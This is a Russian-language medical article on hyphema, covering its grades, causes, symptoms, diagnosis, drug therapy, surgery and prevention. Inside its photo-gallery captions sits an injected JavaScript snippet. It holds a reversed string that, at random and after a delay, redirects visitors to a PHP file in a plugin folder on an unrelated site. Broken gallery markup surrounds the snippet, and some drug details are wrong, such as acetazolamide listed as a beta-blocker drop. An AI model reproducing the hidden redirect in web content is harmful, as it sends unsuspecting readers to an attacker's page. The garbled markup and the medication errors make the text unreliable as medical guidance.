Гифема: диагностика и методы лечения

Патологии и травмы глаз занимают особое положение среди других заболеваний, ведь их развитие может лишить человека осного из основных чувств — зрения. В данную категорию входит и гифема. Это довольно опасное состояние, вызывающее ряд осложнений и в отдельных случаях требующее хирургического вмешательства.

Содержание

1 Что такое гифема
- 1.1 Видеоролик о проблеме
2 Причины возникновения
3 Симптомы и признаки
4 Методы диагностики
5 Лечение
- 5.1 Консервативная терапия
  - 5.1.1 Таблетки и капли для глаз на фото
- 5.2 Хирургическое вмешательство
6 Прогноз и осложнения
7 Профилактические меры

Что такое гифема

Гифема — патологическое состояние, при котором отмечается кровоизлияние в переднюю камеру глазного яблока. Эта область соприкасается спереди с роговицей и прилегает к радужной оболочке сзади.

Объем изливающейся крови бывает разным. Она может заполнить полностью пространство камеры или выглядеть чуть видимой полоской. Но оседает она только в нижней части передней камеры. Объясняется это тем, что удельная масса крови больше, чем внутриглазной жидкости.

На основании количества крови в передней камере глаза и выраженности симптомов выделяют 4 степени гифемы:

1 — камера заполнена на 1/3;
2 — кровь занимает от 1/3 до ½ объёма;
3 — заполнено более 1/2 пространства;
4 (тотальная, или «чёрный глаз») – полное наполнение передней камеры кровью.

Также выделяют микрогифему, выявить которую можно только с помощью офтальмологического оборудования. Она представляет собой помутнение, которое состоит из застывших эритроцитов.

Видеоролик о проблеме

Причины возникновения

Преобладающими причинами заболевания считаются:

проникающие травмы — кровоизлияние происходит из склеры и радужной оболочки;
контузии глаза, полученные при ударе тупым предметом или падении — сосуды разрываются, кровяной поток легко проникает в камеру;
офтальмологические заболевания, сопровождающиеся формированием новообразований;
операции на глазах — кровотечение является осложнением операции из-за повреждения цилиарного тела или радужки;
системные патологии, способные провоцировать кровотечения (гемофилия, лейкоз, анемия и т. д.).

Контузии обычно встречаются у людей, активно занимающихся спортом, где повышен риск получения травмы.

Симптомы и признаки

Кроме заметного наличия крови в передней камере глаза, к признакам гифемы относятся:

повышение внутриглазного давления;
уменьшение остроты зрения, что особенно заметно, когда пациент находится в горизонтальном положении, т. к. клетки крови рассеивают свет;
светобоязнь;
болезненные ощущения;
затуманенность зрения.

Острота зрения снижается в зависимости от объёма излившейся крови, а в наиболее тяжёлом случае человек будет видеть поражённым глазом лишь размытую полоску света.

Методы диагностики

Диагностирование заболевания не представляет труда. При первичном осмотре офтальмолог проводит опрос пациента и устанавливает причину возникновения кровоизлияния. Во время беседы доктор выясняет: имело ли место травматическое воздействие, хирургическое вмешательство, принимаются ли лекарственные средства для разжижения крови. Также уточняется острота зрения и измеряется внутриглазное давление с использованием офтальмоскопа и щелевой лампы.

Но иногда, особенно при микрогифеме, необходимы дополнительные инструментальные и лабораторные обследования:

Визометрия. Оценивается острота зрения с помощью специальных таблиц.
Компьютерная томография орбиты глаза. Проверяется целостность костных структур.
Тонометрия. Измеряется внутриглазное давление.
Биомикроскопия. Проводится с целью обнаружения кровяных сгустков и эритроцитов.
Анализ крови на свёртываемость. Требуется для выявления системных патологий.

Лечение

Лечение назначается с целью остановки кровотечения, уничтожения сгустков крови и укрепления сосудов. Выбирая схему терапии, офтальмолог учитывает:

причины развития патологии;
объем излившейся крови;
возникшие осложнения;
длительность процесса кровоизлияния.

Консервативная терапия

Терапия проводится под контролем врача. Самолечение только приведёт к развитию осложнений. Больному показан постельный режим, причём изголовье кровати должно быть приподнято. Глаз закрывают стерильной повязкой и прописывают следующие препараты:

Для снижения внутриглазного давления бета-адреноблокаторы в виде капель: Тимолол, Ацетазоламид и пр.
Обезболивающие: Тайленол, Ацетаминофен (Парацетамол, Панадол).
Глюкокортикостероидные и циклоплегические средства для местного использования: Преднизолон, Дексаметазон, Атропин.
Для предупреждения повторного кровоизлияния показан приём антифибринолитических препаратов (Памба, Трансамча) и аминокапроновой кислоты.

Важно! В период прохождения терапии надо исключить приём лекарственных средств, влияющих на свёртываемость крови.

Кроме этого, офтальмологи рекомендуют:

снизить физическое напряжение;
не допускать пропуска приёма назначенных капель;
защищать повреждённый глаз повязкой для предупреждения новых травм;
при микрогифеме ежедневно посещать офтальмолога;
при появлении даже незначительной боли обращаться в медучреждение.

При небольшом кровоизлиянии рассасывание обычно происходит в течение недели при соблюдении всех врачебных рекомендаций. В более тяжёлых случаях показано хирургическое лечение.

Таблетки и капли для глаз на фото

: Внутреннее строение глаза

: Щелевую лампу используют для обследования внутренней структуры глаза

: Травма глаза — наиболее частая причина гифемы

: Офтальмоскопия глазного дна проводится для исследования сетчатки и её структур

: Полное кровоизлияние значительно снижает остроту зрения

: Атропин используется для расслабления мышц глаза и ускорения восстановления после травмы

: Тайленол — мягкое обезболивающее средство

: Передняя камера глаза — полость между радужкой и роговицей, заполненная жидкостью

: Тимолол способствует понижению внутриглазного давления

: 1

: Панадол — эффективный противовоспалительный и обезболивающий препарат

: Паналол — эффективный обезболивающий и противовоспалительный препарат

: Зачастую гифема 1–3 степени проходит бесследно при соблюдении врачебных рекомендаций

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»22800,22797,22795,22794″]

Хирургическое вмешательство

При неэффективности консервативной терапии, появлении осложнений, значительных кровоизлияниях назначается оперативное лечение, при котором промывается камера глаза и устраняются кровяные сгустки.

Показаниями к хирургическому вмешательству являются:

наличие на поверхности роговицы следов крови;
неконтролируемая гипертензия;
тотальная гифема;
наличие серповидноклеточной анемии в анамнезе.

Прогноз и осложнения

В большинстве случаев прогноз при вовремя оказанной помощи благоприятный. Но при тотальном кровоизлиянии могут наблюдаться следующие осложнения:

вторичная глаукома;
пропитывание роговицы кровью;
снижение зрения.

Профилактические меры

Для предупреждения осложнений и рецидивов требуется:

Избегать травмирования глазных яблок.
Использовать защитные накладки для глаз во время спортивных игр.
Не изменять положение тела очень резко.
Регулярно посещать офтальмолога.
После операции спать на кровати с приподнятым изголовьем.

При любой травме глаз следует без промедления обращаться к офтальмологу. Отсутствие адекватной терапии гифемы может привести к ухудшению остроты зрения вплоть до его полной потери.